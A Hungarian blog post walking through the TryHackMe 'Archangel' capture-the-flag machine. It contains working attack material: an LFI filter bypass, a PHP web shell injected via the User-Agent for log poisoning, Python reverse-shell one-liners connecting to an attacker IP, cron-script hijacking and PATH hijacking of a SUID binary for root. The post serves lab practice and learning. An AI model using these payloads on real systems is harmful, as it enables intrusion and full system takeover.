HTML

Az élet kódjai

Csináld maga. Senki nem csinálja meg helyetted.

Friss topikok

  • sdani: Sajnos nekem is hasonló érzéseim vannak az R kiszorulásával kapcsolatban. Remélem jobban fogja tar... (2024.04.29. 10:48) R meetup
  • sdani: Nagyon jók ezek a bejegyzések! Feszültséggel teli, fordulatos, mint egy jobb krimi. :D Abba ne hag... (2024.04.29. 10:35) Wgel CTF
  • sdani: @Travis.CG: Egy kis szerencse sosem árt. :D (2024.03.01. 13:19) A bioinformatika helyzete 2024-ben
  • Travis.CG: Szóval az akadémiai szféra mazochistává tett, amit a Pinephone-al élek ki? Hmm, érdekes összefüggé... (2023.10.05. 18:23) Új barátom az Informatikai titkárságról
  • Travis.CG: Túl nagy a hype körülötte, ezért túlzó elvárások vannak vele szembe. Ha a korábbi chatbotokhoz kép... (2023.02.28. 06:28) chatGPT, a bioinformatikus

Archangel CTF

2024.08.04. 18:07 Travis.CG

Ez egy nem semmi CTF volt. Először szokás szerint végigscanneltem a portokat:

nmap -sS -Pn --top-ports 100 -sV $IP

Csak a 22-es és a 80-as volt nyitva. A weboldal semmi különöset nem tartalmaz. Az első kérdés, hogy van-e alternatív hostname. Ezt viszonylag könnyen megtaláljuk az oldal tetején egy e-mail címben. Amint ez megvan, az ember elgondolkodik, hogy nem lesz-e más az oldal kinézete, ha bejegyezzük gépünkben ezt a host-ot? Írjuk be a nevet az /etc/hosts-ba, és frissítsük a böngészőt.

A weboldal megváltozik. Mindjárt meg is van a második flag. Érdemes kicsit jobban megnézni az oldalt.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x txt,html,php -u http://mafialive.thm/

Már az elején találunk egy php oldalt, ami egyben az egyik kérdésre a válasz, még a lista egy százalékát sem kell elérni, nyugodtan leállíthatjuk a keresést.

Na, a következő lépésnél elidőztem egy darabig. Abban biztos voltam, hogy a php oldalt kell rávenni valahogy, hogy elolvasson bizonyos fájlokat, de minden próbálkozásom esetén makacskodott a szkript. A hint szerint LFI-t kell használni, amiről életemben nem hallottam, úgyhogy kerestem egy LFI-s oktató anyagot a TryHackMe oldalán, és végigcsináltam. Utána már jobban értettem, hogyan kellene megoldani a feladatot.

A kérdéses php oldal forrását továbbra sem tudtam megnézni. Azt valahogy nem akarta betölteni. Végül base64-el kódoltam.

http://*HOST*/*PHP*.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/*PHP*.php

Ahol a *HOST* és a *PHP* a két behelyettesítendő találat az előző kérdésekből. Ha visszafejtjük a kódolt adatot, megvan a forrás. Ebből látható, hogy nem használhatjuk a "../.." sztringet, és mindenképp kell a /var/www/html az elején. Hah, ezt könnyű kikerülni, csak ".././.."-vel lépkedek vissza a gyökérig, és kész.

Most már elég sor fájlt meg tudunk nézni, még az első user flag-et is. De kell egy shell, mert anélkül nem ér semmit az élet.

A Burp Suit-al írjuk át az egyik kérés User-Agent-jét:

User-Agent: <?php system($_GET['cmd']); ?>

Ezzel az access.log fájlt átalakíthatjuk php szkriptté! Próbáljuk csak ki a következő URL-t!

*HOST*/*PHP*.php?view=/var/www/html/development_testing/.././.././.././../var/log/apache2/access.log&cmd=python3%20-c%20%27import%20os,pty,socket;s=socket.socket();s.connect((%2210.8.44.122%22,4444));[os.dup2(s.fileno(),f)for%20f%20in(0,1,2)];pty.spawn(%22bash%22)%27

A piros résszel kiemelt a reverz shell, ami a 10.8.44.122 felé nyit a 4444-es porton. Előtte persze el kell indítani egy nc-t a gépünk termináljában.

nc -lvnp 4444

Hurrá, hozzáférünk a fájlrendszerhez! Ajjaj, csak www-data felhasználóval. Jó lenne, ha kapásból root felhasználók lehetnénk, de ekkora szerencsénk nincs. Először az archangel felhasználó bőrébe kell bújnunk. Ha átnézzük a gépet, akkor az /etc/crontab fájlban találunk egy érdekes bejegyzést. Az /opt/helloworld.sh fájlt archangel felhasználó jogaival fut. Én nem szoktam vacakolni shell stabilizálással, ezért szövegszerkesztőt sem tudok indítani. De kinek kell? Indítsunk a saját gépünkön egy másik terminálban egy újabb nc-t, ezúttal a 9001-es porton:

nc -lvnp 9001

Majd módosítsuk a hellowordl.sh-t echo-val:

echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.8.44.122\",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")'" >>helloworld.sh

A cron lefuttatja a kódunkat, és a második reverz shell is elindul archangel jogaival. Könnyedén megnézhetjük a második user flag-et. Itt lesz pár megtévesztő helyzet. Pl passwordbackup, ami félrevihet minket, de előbb-utóbb ráakadunk egy suid jogokkal megáldott binárisra a felhasználó fájljai között backup néven. Ha elindítjuk, panaszkodik, hogy nem ér el bizonyos fájlokat.

A visszafejtésével nem érdemes vesződni, de azért belenézhetünk:

strings backup

Hoppá, megpróbál fájlokat másolni, de a /home/users/archangel könyvtárból, ami a rendszeren nem létezik. Ha az elérési utakat nem tudjuk módosítani, akkor készítsünk egy cp parancsot. A korábbi echo-s trükkel hozzunk létre egy szkriptet, aminek cp a neve. Ez is egy reverz shell lesz, de ne a 9001-es, vagy 4444-es, hanem valami más porton. Előtte persze indítsunk egy újabb nc-t a saját gépünkön, ami figyeli az adott portot. Ez lesz a harmadik reverz shell.

Ha kész a cp szkript, akkor vegyük előre a PATH-ban:

export PATH=/home/archangel/secret:$PATH

Majd indítsuk el a backup-ot. Elindul a root shell! A root flag könnyedén olvasható.

Szólj hozzá!

Címkék: biztonság

A bejegyzés trackback címe:

https://cybernetic.blog.hu/api/trackback/id/tr4818455421

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

Nincsenek hozzászólások.
süti beállítások módosítása